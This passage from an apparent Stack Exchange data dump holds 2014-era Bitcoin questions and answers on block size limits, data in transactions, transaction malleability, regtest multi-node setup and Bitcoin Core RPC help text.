  <row Id="30675" PostTypeId="2" ParentId="30643" CreationDate="2014-09-26T07:31:32.267" Score="3" Body="&lt;p&gt;I think Ethereum is ideal for this.  As you say, it's not ready for prime time yet. But I think it offers the most flexible toolkit for managing orders in a truly decentralized way. You can create and manage arbitrary database structures that are secured on the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a toy digital artwork market using Ethereum -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://robmyers.org/2014/07/24/ethereum-art-market/&quot; rel=&quot;nofollow&quot;&gt;http://robmyers.org/2014/07/24/ethereum-art-market/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1660" LastActivityDate="2014-09-26T07:31:32.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30677" PostTypeId="1" AcceptedAnswerId="30680" CreationDate="2014-09-26T08:14:10.557" Score="2" ViewCount="2067" Body="&lt;p&gt;I know that some people had put text, pdf and images in the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder which are the limits in order to have a minimum &quot;bytes/btc&quot; value in regarding the blockchain as a permanent database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How much bytes could I put in a transaction and how many bitcoins I need to use (e.g. in fees) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And how this is possible, e.g. using satoshi client?&lt;/p&gt;&#xA;" OwnerUserId="18502" LastActivityDate="2014-09-26T15:18:51.780" Title="How much binary data (bytes) could I put in a transaction and how?" Tags="|blockchain|script|raw-data|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30678" PostTypeId="2" ParentId="30665" CreationDate="2014-09-26T08:37:09.433" Score="1" Body="&lt;p&gt;The total number of generated Bincoins can be found here &lt;a href=&quot;https://blockchain.info/pools&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/pools&lt;/a&gt;. Also important for me to see the price of Bitcoin online. History and pricing information for one BTC you can look at &lt;a href=&quot;http://mining-profit.com/bitcoin-price-chart&quot; rel=&quot;nofollow&quot;&gt;http://mining-profit.com/bitcoin-price-chart&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="19470" LastActivityDate="2014-09-26T08:37:09.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30679" PostTypeId="2" ParentId="30677" CreationDate="2014-09-26T10:51:13.717" Score="0" Body="&lt;p&gt;I believe this has been limited to 40 bytes now in Bitcoin Core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if it was possible to add a pdf, but it is still possible to add text up to the limit. I think the previous limit was 80 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do not need to pay any extra to do this and it cannot be done in the client. You have to roll your own transaction.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-09-26T10:51:13.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30680" PostTypeId="2" ParentId="30677" CreationDate="2014-09-26T15:18:51.780" Score="2" Body="&lt;p&gt;There's 3 related issues to your question where confusion may be arising.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The Blockchain can be used to &lt;em&gt;hash&lt;/em&gt; PDFs or JPGs as a means of &lt;a href=&quot;http://www.proofofexistence.com&quot; rel=&quot;nofollow&quot;&gt;proof of existence&lt;/a&gt; - this is not the same as attaching the document itself&lt;/li&gt;&#xA;&lt;li&gt;As seen &lt;a href=&quot;http://www.righto.com/2014/02/ascii-bernanke-wikileaks-photographs.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, it is (was?) possible to take hex code for a PDF/JPEG and use the resulting hex string as a public address. Splitting the file into ?? byte chunks then &lt;a href=&quot;http://blockexplorer.com/rawtx/8881a937a437ff6ce83be3a89d77ea88ee12315f37f7ef0dd3742c30eef92dba&quot; rel=&quot;nofollow&quot;&gt;using these addresses as outputs&lt;/a&gt; in a Bitcoin &lt;a href=&quot;https://blockchain.info/tx/8881a937a437ff6ce83be3a89d77ea88ee12315f37f7ef0dd3742c30eef92dba&quot; rel=&quot;nofollow&quot;&gt;transaction&lt;/a&gt; allows for things like photos of Nelson Mandela&lt;/li&gt;&#xA;&lt;li&gt;Coinbase (source of mined coins) allows 100 bytes of arbitrary text in the block which was utilised in the Genesis Block, where encoded in hex (0x5468652054696D65732030332F4A616E2F32303039204368616E63656C6C6F72206F6E206272696E6B206F66207365636F6E64206261696C6F757420666F722062616E6B73) was the phrase: &lt;em&gt;'The Times 03/Jan/2009 Chancellor on brink of second bailout for banks&lt;/em&gt;'. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Find more interesting stuff encoded in the Blockchain at &lt;a href=&quot;http://bitcoinstrings.com/&quot; rel=&quot;nofollow&quot;&gt;BitcoinStrings.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-09-26T15:18:51.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30681" PostTypeId="1" AcceptedAnswerId="30683" CreationDate="2014-09-26T18:43:54.020" Score="4" ViewCount="228" Body="&lt;p&gt;Could the 1MB block size limit be replaced with a &lt;b&gt;growth-dependent limit&lt;/b&gt;? From what I have read (&lt;a href=&quot;https://bitcointalk.org/index.php?topic=322748.0&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, for example) the 1MB limit is to prevent spamming of the blockchain. And if/when Bitcoin becomes more widely adopted we will have to increase the limit so that the network can handle more transactions per second. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, could we have a rule like &lt;b&gt;&quot;blocks can be no larger than 1.5 times the average of the last 100 blocks&quot;&lt;/b&gt;? The hope is that we could automate this spam prevention measure while still allowing for growth. Has this idea been considered anywhere else at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe this be too large of a protocol change. Would we be able to get everyone to update their nodes to follow the slightly altered protocol?&lt;/p&gt; &#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="5406" LastEditDate="2017-12-23T18:56:32.193" LastActivityDate="2017-12-23T18:56:32.193" Title="Growth Dependent Block Size Limit" Tags="|scalability|block-size-increase|blocksize|dynamic-blocksize|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30683" PostTypeId="2" ParentId="30681" CreationDate="2014-09-26T22:41:37.390" Score="3" Body="&lt;p&gt;Technically, this is possible. However, it would be a &lt;a href=&quot;https://en.bitcoin.it/wiki/Hardfork&quot; rel=&quot;nofollow&quot;&gt;hardfork&lt;/a&gt;, so all users would have to upgrade. In such a large ecosystem that exists around Bitcoin today, this would be rather disrupting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such change would also have unclear security implications. Miners would be naturally eager to accept as many transactions as possible, so a spammer may gradually push block size limit up to increase the time it takes the network to process new blocks. This would lead to an increase in &lt;a href=&quot;https://en.bitcoin.it/wiki/Orphan_Block&quot; rel=&quot;nofollow&quot;&gt;orphan&lt;/a&gt; rate, which would make it easier to mount a &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#Attacker_has_a_lot_of_computing_power&quot; rel=&quot;nofollow&quot;&gt;51% attack&lt;/a&gt;, especially with the help of &lt;a href=&quot;http://bitcoinmagazine.com/7953/selfish-mining-a-25-attack-against-the-bitcoin-network/&quot; rel=&quot;nofollow&quot;&gt;selfish mining&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This idea was &lt;a href=&quot;http://www.google.com/#q=site%3Abitcointalk.org%20block%20size%20limit&quot; rel=&quot;nofollow&quot;&gt;discussed many times&lt;/a&gt; on Bitcointalk. While most of the developers agree that a change would be necessary eventually, any specific plans have yet to be announced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, some altcoins, such as &lt;a href=&quot;http://monero.cc/&quot; rel=&quot;nofollow&quot;&gt;Monero&lt;/a&gt; and &lt;a href=&quot;http://cryptonite.info/&quot; rel=&quot;nofollow&quot;&gt;Cryptonite&lt;/a&gt;, have variable block size limit using rules similar to the ones you propose.&lt;/p&gt;&#xA;" OwnerUserId="19476" LastEditorUserId="19476" LastEditDate="2014-09-29T02:27:50.460" LastActivityDate="2014-09-29T02:27:50.460" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30685" PostTypeId="1" CreationDate="2014-09-27T02:37:20.670" Score="1" ViewCount="178" Body="&lt;p&gt;I'm receiving 1 satoshi today from an odd address. This account has been very consistent in creating spammy transactions that distribute 1 satoshi to a lot of account. Any one know what's going on with it?&lt;/p&gt;&#xA;" OwnerUserId="15490" LastEditorUserId="2306" LastEditDate="2014-09-27T21:08:31.337" LastActivityDate="2014-09-27T21:08:31.337" Title="Why is the address 1MAdS7aPszWG4EYgBpbF9mnGUi5ChbMu8d sending me Bitcoins?" Tags="|transactions|dust|spam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30686" PostTypeId="2" ParentId="30662" CreationDate="2014-09-27T03:03:29.073" Score="2" Body="&lt;p&gt;I would get a Tails USB and store the Armory application and wallet files in encrypted storage. That way not only can they not tie your addresses to you, but if you access bitcoin related sites only through Tails, it would be hard to show you even know anything about bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="12616" LastEditorUserId="2306" LastEditDate="2014-09-27T21:03:03.640" LastActivityDate="2014-09-27T21:03:03.640" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30687" PostTypeId="2" ParentId="30685" CreationDate="2014-09-27T06:34:38.733" Score="3" Body="&lt;p&gt;This is spam. Point                          .                                &lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-09-27T06:34:38.733" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30688" PostTypeId="2" ParentId="25515" CreationDate="2014-09-27T09:48:36.853" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_Malleability&quot; rel=&quot;nofollow&quot;&gt;Transaction malleability&lt;/a&gt; is prevented by selecting one canonical representation of every transaction and making every other representation nonstandard. That is, of all possible transactions one transaction can be mutated into, exactly one is considered &quot;original&quot;, and other representations are not relayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Originally, Bitcoin could accept different representations of the same data. For example, it were possible to represent the same number both with and without leading zeros, producing equivalent transactions with different binary representations. Now, a transaction would only be considered standard if those numbers are represented using a specific number of digits, so it is now impossible to write the same number in different ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this rule is not enforced on transactions that are already in a block (since otherwise it would be a fork), so a powerful adversary can still push a mutated transaction into the network by mining it himself.&lt;/p&gt;&#xA;" OwnerUserId="19476" LastEditorUserId="19476" LastEditDate="2014-09-27T10:29:28.240" LastActivityDate="2014-09-27T10:29:28.240" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30689" PostTypeId="2" ParentId="24484" CreationDate="2014-09-27T10:04:11.410" Score="2" Body="&lt;p&gt;Centralized checkpoints is a mechanism whereby nodes trust a certain hardcoded key to make new checkpoints. This means that in case of a fork, the key owner can make the network choose any branch he wants, even the one which is shorter. If this key is compromised, an attacker can use it to mount an equivalent to 51% attack with any hash rate. This, together with that the developer should constantly do something (produce checkpoints) to keep the network secure, goes totally against the idea of decentralization. Without decentralization, a cryptocurrency has little advantage over traditional banking system.&lt;/p&gt;&#xA;" OwnerUserId="19476" LastActivityDate="2014-09-27T10:04:11.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30690" PostTypeId="2" ParentId="17724" CreationDate="2014-09-27T12:26:55.997" Score="0" Body="&lt;p&gt;to use cgminer on the ATI only, you can disable other opencl drivers to keep only the AMD one in the registry :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Khronos\OpenCL\Vendors&lt;/li&gt;&#xA;&lt;li&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Khronos\OpenCL\Vendors&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are 2 different keys for x86 and x64 binaries&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had the problem on my PC which has 3 different opencl drivers (Intel + Nvidia + AMD)&lt;/p&gt;&#xA;" OwnerUserId="19479" LastActivityDate="2014-09-27T12:26:55.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30691" PostTypeId="2" ParentId="23588" CreationDate="2014-09-27T14:32:23.720" Score="0" Body="&lt;p&gt;Start here:&#xA;&lt;a href=&quot;https://groups.yahoo.com/neo/groups/smf_addin/info&quot; rel=&quot;nofollow&quot;&gt;https://groups.yahoo.com/neo/groups/smf_addin/info&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it is a stock market add-in, it works with Yahoo Finanace and since Yahoo now lists Bitcoin (Symbol: BTCUSD=X)  Yes, that is the symbol you use to get the price, it will update your spreadsheet every time there is a change made to the spreadsheet or when you force the sheet to recalculate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This fits the bill for what you need.&lt;/p&gt;&#xA;" OwnerUserId="19480" LastActivityDate="2014-09-27T14:32:23.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30693" PostTypeId="2" ParentId="30653" CreationDate="2014-09-27T17:52:39.067" Score="4" Body="&lt;p&gt;When working in regTest (or testNet) mode the '&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Common_structures&quot; rel=&quot;nofollow&quot;&gt;magic number&lt;/a&gt;' identifying the start of each block is different to what it is for the live network.  The parser you mention may well use the magic number to identify the start of blocks. This may be the cause of your problem and why it is not finding any blocks in the regTest blockchain file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;RegTest (and testNet): 0xdab5bffa&#xA; Live: 0xd9b4bef9&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence it is likely that the parser code needs to be modified to work with regTest/testNet magic numbers.&lt;/p&gt;&#xA;" OwnerUserId="19410" LastActivityDate="2014-09-27T17:52:39.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30696" PostTypeId="1" CreationDate="2014-09-28T03:25:24.710" Score="5" ViewCount="768" Body="&lt;p&gt;I'm looking at the code located at &lt;a href=&quot;https://github.com/bitcoin/bitcoin/tree/master/src&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/tree/master/src&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a basic diagram of what calls what, just a sequence chart of how all the classes piece together and what's a good entry point.  There was a thread with some overview but there has been a lot of change since it seems.  Just wondering if anyone has gone through this process.&lt;/p&gt;&#xA;" OwnerUserId="19487" LastEditorUserId="5406" LastEditDate="2014-10-16T11:54:07.977" LastActivityDate="2018-12-16T20:32:31.313" Title="Is there a class or sequence diagram for BitcoinCore?" Tags="|bitcoin-core-development|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30697" PostTypeId="2" ParentId="28107" CreationDate="2014-09-28T04:47:37.253" Score="11" Body="&lt;p&gt;In order to run multiple nodes in &lt;a href=&quot;https://bitcoin.org/en/developer-examples#regtest-mode&quot; rel=&quot;nofollow noreferrer&quot;&gt;regtest mode&lt;/a&gt; on a single machine you will need to sandbox each node.&lt;/p&gt;&#xA;&lt;p&gt;In this example I have three nodes, they are named Alice, Bob and Cory. Since Bitcoin is a Peer/Mesh network, my goal is to connect each nodes so that changes made to Cory are ultimately visible to Bob (without necessarily requiring a direct connection between the two.)&lt;/p&gt;&#xA;&lt;h2&gt;Step 1: Create folders for each node.&lt;/h2&gt;&#xA;&lt;p&gt;These folders will contain our data and configs for each node. The names are not important, they can be renamed later, so you can name them &amp;quot;Alice&amp;quot;, &amp;quot;Bob&amp;quot; and &amp;quot;Cory&amp;quot; for now. Remember where you create them, you will need their paths for Step 3 below.&lt;/p&gt;&#xA;&lt;h2&gt;Step 2: In each folder, create a &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoin.conf&lt;/a&gt; file&lt;/h2&gt;&#xA;&lt;p&gt;In the config files Alice will be configured to connect to Cory, and Bob will be configured to connect to Alice. In addition to configuring outbound connections, this is also where we specify &lt;code&gt;regtest=1&lt;/code&gt; and &lt;code&gt;server=1&lt;/code&gt; settings.&lt;/p&gt;&#xA;&lt;h3&gt;bitcoin.conf for Alice&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;regtest=1&#xA;server=1&#xA; # Alice connects to Cory&#xA;connect=localhost:18333&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;bitcoin.conf for Bob&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;regtest=1&#xA;server=1&#xA; # Bob connects to Alice&#xA;connect=localhost:18444&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;bitcoin.conf for Cory&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;regtest=1&#xA;server=1&#xA; # Cory connects to nobody&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;Step 3: Start each node.&lt;/h2&gt;&#xA;&lt;p&gt;Note each node must have a different port number since only one node can bind to a port number at any time.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Alice on port 18444&lt;/li&gt;&#xA;&lt;li&gt;Bob on port 18555&lt;/li&gt;&#xA;&lt;li&gt;Cory on port 18333&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;You can choose your own port numbers of course, just be careful not to use a port number that is already in use by something else.&lt;/p&gt;&#xA;&lt;p&gt;The command-line options will tell bitcoin what port number to use, where to store data, and where to find its config file:&lt;/p&gt;&#xA;&lt;h3&gt;Alice:&lt;/h3&gt;&#xA;&lt;p&gt;&lt;code&gt; &amp;quot;C:\Program Files\Bitcoin\bitcoin-qt.exe&amp;quot; -conf=&amp;quot;C:\Alice\bitcoin.conf&amp;quot; -datadir=&amp;quot;C:\Alice&amp;quot; -rpcport=18444&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Bob:&lt;/h3&gt;&#xA;&lt;p&gt;&lt;code&gt;&amp;quot;C:\Program Files\Bitcoin\bitcoin-qt.exe&amp;quot; -conf=&amp;quot;C:\Bob\bitcoin.conf&amp;quot; -datadir=&amp;quot;C:\Bob&amp;quot; -rpcport=18555&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Cory:&lt;/h3&gt;&#xA;&lt;p&gt;&lt;code&gt;&amp;quot;C:\Program Files\Bitcoin\bitcoin-qt.exe&amp;quot; -conf=&amp;quot;C:\Cory\bitcoin.conf&amp;quot; -datadir=&amp;quot;C:\Cory&amp;quot; -rpcport=18333&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This will launch three instances of the Bitcoin Client, and the folders for each node will begin to initialize with regtest data.&lt;/p&gt;&#xA;&lt;h2&gt;Step 4: Testing&lt;/h2&gt;&#xA;&lt;p&gt;You can use the &lt;code&gt;Help-&amp;gt;Debug Window-&amp;gt;Console&lt;/code&gt; option to interactively execute commands on any of the nodes. For example, you can mine 101 blocks with the following bitcoin console command:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;setgenerate true 101&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;You should (after a few seconds) then have been awarded coins.&lt;/p&gt;&#xA;&lt;p&gt;These mining activities result in &lt;a href=&quot;https://bitcoin.org/en/developer-guide#transaction-data&quot; rel=&quot;nofollow noreferrer&quot;&gt;coinbase transactions&lt;/a&gt; - and only the last one of 50 BTC is available to spend. Now you can send some BTC to one of the other nodes.  After a bit more mining such a transaction will be &lt;a href=&quot;https://en.bitcoin.it/wiki/Confirmation&quot; rel=&quot;nofollow noreferrer&quot;&gt;confirmed&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You can also use the console commands &lt;code&gt;getpeerinfo&lt;/code&gt; and &lt;code&gt;getinfo&lt;/code&gt; to check the network is set up correctly.  One of them (Cory with port=18333) should have 'sync=true' in its peerinfo output, and all nodes should have the same &amp;quot;block height&amp;quot; regardless of which node is used for mining.&lt;/p&gt;&#xA;" OwnerUserId="19410" LastEditorUserId="126986" LastEditDate="2021-11-01T13:15:57.840" LastActivityDate="2021-11-01T13:15:57.840" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30698" PostTypeId="1" CreationDate="2014-09-28T05:18:59.457" Score="0" ViewCount="419" Body="&lt;p&gt;After 21 million bitcoins miners will be paid certain transaction fees but I need your guidance for clarifying following confusions:-&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Currently solving a block gives you 25 bitcoins but what is the&#xA;reward level after 21 millions bitcoins? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I understand we still need sufficient amount of verifying computing&#xA;power to secure the network even after 21 million bitcoins but do you think people would invest in&#xA;powerful machine just to process transaction where the reward level&#xA;is lower then the power consumption?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What if  bitcoin community decided to mine for other alternatives&#xA;such as litecoin, dogecoin for greater rewards, don't you think it'll&#xA;effect the value of bitcoins?  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do we still have power competition to process transaction?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="19461" LastEditorUserId="5406" LastEditDate="2017-12-23T18:56:04.667" LastActivityDate="2017-12-23T18:56:04.667" Title="After 21 million bitcoins" Tags="|mining-reward|blockspace-market|shrinking-money-supply|" AnswerCount="1" CommentCount="2" ClosedDate="2014-09-30T11:40:31.937" ContentLicense="CC BY-SA 3.0" />
  <row Id="30699" PostTypeId="2" ParentId="30698" CreationDate="2014-09-28T06:05:12.887" Score="-1" Body="&lt;p&gt;If this happens, you are likely talking of the years following 2140.  If bitcoin survives, it is very possible that bitcoin will be worth millions of dollars.  If so, then perhaps single little satoshis will be worth cents or perhaps what we perceive of as dollars.  Especially if bitcoin is used to supercede as the most common method to use currency.  However america would have to lose a lot of value and do something mighty stupid to lose its number one slot as &quot;the preferred method to hold and spend purchasing power&quot;&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2014-09-28T06:05:12.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30700" PostTypeId="2" ParentId="10534" CreationDate="2014-09-28T11:10:40.373" Score="1" Body="&lt;p&gt;I've used macros and pulled the &lt;strong&gt;full&lt;/strong&gt; &lt;a href=&quot;http://pastebin.com/B7R7MFjQ&quot; rel=&quot;nofollow&quot;&gt;RPC documentation&lt;/a&gt; from Bitcoin Core 0.9.2.1 (rough formatting, help appreciated!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full code won't fit here (80000 chars&gt;30000 limit), but here's the help commands I entered and copied the returned data from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;help addmultisigaddress&#xA;help addnode &#xA;help backupwallet &#xA;help createmultisig &#xA;help createrawtransaction &#xA;help decoderawtransaction &#xA;help decodescript &#xA;help dumpprivkey &#xA;help dumpwallet &#xA;help getaccount &#xA;help getaccountaddress &#xA;help getaddednodeinfo &#xA;help getaddressesbyaccount &#xA;help getbalance &#xA;help getbestblockhash&#xA;help getblock &#xA;help getblockchaininfo&#xA;help getblockcount&#xA;help getblockhash &#xA;help getblocktemplate &#xA;help getconnectioncount&#xA;help getdifficulty&#xA;help getgenerate&#xA;help gethashespersec&#xA;help getinfo&#xA;help getmininginfo&#xA;help getnettotals&#xA;help getnetworkhashps &#xA;help getnetworkinfo&#xA;help getnewaddress &#xA;help getpeerinfo&#xA;help getrawchangeaddress&#xA;help getrawmempool &#xA;help getrawtransaction &#xA;help getreceivedbyaccount &#xA;help getreceivedbyaddress &#xA;help gettransaction &#xA;help gettxout &#xA;help gettxoutsetinfo&#xA;help getunconfirmedbalance&#xA;help getwalletinfo&#xA;help getwork &#xA;help help &#xA;help importprivkey &#xA;help importwallet &#xA;help keypoolrefill &#xA;help listaccounts &#xA;help listaddressgroupings&#xA;help listlockunspent&#xA;help listreceivedbyaccount &#xA;help listreceivedbyaddress &#xA;help listsinceblock &#xA;help listtransactions &#xA;help listunspent &#xA;help lockunspent &#xA;help move &#xA;help ping&#xA;help sendfrom &#xA;help sendmany &#xA;help sendrawtransaction &#xA;help sendtoaddress &#xA;help setaccount &#xA;help setgenerate &#xA;help settxfee &#xA;help signmessage &#xA;help signrawtransaction &#xA;help stop&#xA;help submitblock &#xA;help validateaddress &#xA;help verifychain &#xA;help verifymessage &#xA;help walletlock&#xA;help walletpassphrase &#xA;help walletpassphrasechange&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And a few egs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;addmultisigaddress nrequired [&quot;key&quot;,...] ( &quot;account&quot; )&#xA;&#xA;Add a nrequired-to-sign multisignature address to the wallet.&#xA;Each key is a Bitcoin address or hex-encoded public key.&#xA;If 'account' is specified, assign address to that account.&#xA;&#xA;Arguments:&#xA;1. nrequired (numeric, required) The number of required signatures out of the n keys or addresses.&#xA;2. &quot;keysobject&quot; (string, required) A json array of bitcoin addresses or hex-encoded public keys&#xA;[&#xA;&quot;address&quot; (string) bitcoin address or hex-encoded public key&#xA;...,&#xA;]&#xA;3. &quot;account&quot; (string, optional) An account to assign the addresses to.&#xA;&#xA;Result:&#xA;&quot;bitcoinaddress&quot; (string) A bitcoin address associated with the keys.&#xA;&#xA;Examples:&#xA;&#xA;Add a multisig address from 2 addresses&#xA;&amp;gt; bitcoin-cli addmultisigaddress 2 &quot;[\&quot;16sSauSf5pF2UkUwvKGq4qjNRzBZYqgEL5\&quot;,\&quot;171sgjn4YtPu27adkKGrdDwzRTxnRkBfKV\&quot;]&quot;&#xA;&#xA;As json rpc call&#xA;&amp;gt; curl --user myusername --data-binary '{&quot;jsonrpc&quot;: &quot;1.0&quot;, &quot;id&quot;:&quot;curltest&quot;, &quot;method&quot;: &quot;addmultisigaddress&quot;, &quot;params&quot;: [2, &quot;[\&quot;16sSauSf5pF2UkUwvKGq4qjNRzBZYqgEL5\&quot;,\&quot;171sgjn4YtPu27adkKGrdDwzRTxnRkBfKV\&quot;]&quot;] }' -H 'content-type: text/plain;' http://127.0.0.1:8332/&#xA;&#xA;&#xA;&#xA;addnode &quot;node&quot; &quot;add|remove|onetry&quot;&#xA;&#xA;Attempts add or remove a node from the addnode list.&#xA;Or try a connection to a node once.&#xA;&#xA;Arguments:&#xA;1. &quot;node&quot; (string, required) The node (see getpeerinfo for nodes)&#xA;2. &quot;command&quot; (string, required) 'add' to add a node to the list, 'remove' to remove a node from the list, 'onetry' to try a connection to the node once&#xA;&#xA;Examples:&#xA;&amp;gt; bitcoin-cli addnode &quot;192.168.0.6:8333&quot; &quot;onetry&quot;&#xA;&amp;gt; curl --user myusername --data-binary '{&quot;jsonrpc&quot;: &quot;1.0&quot;, &quot;id&quot;:&quot;curltest&quot;, &quot;method&quot;: &quot;addnode&quot;, &quot;params&quot;: [&quot;192.168.0.6:8333&quot;, &quot;onetry&quot;] }' -H 'content-type: text/plain;' http://127.0.0.1:8332/&#xA;&#xA;&#xA;backupwallet &quot;destination&quot;&#xA;&#xA;Safely copies wallet.dat to destination, which can be a directory or a path with filename.&#xA;&#xA;Arguments:&#xA;1. &quot;destination&quot; (string) The destination directory or file&#xA;&#xA;Examples:&#xA;&amp;gt; bitcoin-cli backupwallet &quot;backup.dat&quot;&#xA;&amp;gt; curl --user myusername --data-binary '{&quot;jsonrpc&quot;: &quot;1.0&quot;, &quot;id&quot;:&quot;curltest&quot;, &quot;method&quot;: &quot;backupwallet&quot;, &quot;params&quot;: [&quot;backup.dat&quot;] }' -H 'content-type: text/plain;' http://127.0.0.1:8332/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;PS. C++/QT formatting at &lt;a href=&quot;http://pastebin.com/B7R7MFjQ&quot; rel=&quot;nofollow&quot;&gt;Pastebin file&lt;/a&gt; so formatting may need changing and there's still time stamps I didn't edit out.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-09-28T11:10:40.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30701" PostTypeId="1" CreationDate="2014-09-28T13:37:26.180" Score="8" ViewCount="9310" Body="&lt;p&gt;Recently, I found a site that show all the addresses in a huge list, divided in 904625697166532776746648320380374280100293470930272690489102837043110636675 pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site's link is &lt;a href=&quot;http://directory.io/&quot;&gt;http://directory.io/&lt;/a&gt; and I want to know if I can find a certain address from the whole list. I already tried to merge all those pages into one list and then search for the address with the browser, but I'm not sure how to do it (because I don't know much about HTML).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you know a way to do this, please tell me and explain me how. Thanks! &lt;/p&gt;&#xA;" OwnerUserId="19484" LastEditorUserId="11253" LastEditDate="2014-09-28T19:26:09.580" LastActivityDate="2015-07-08T17:02:43.383" Title="How to find a specific bitcoin address from all the addresses?" Tags="|wallet|blockchain|client|address|" AnswerCount="4" CommentCount="6" ContentLicense="CC 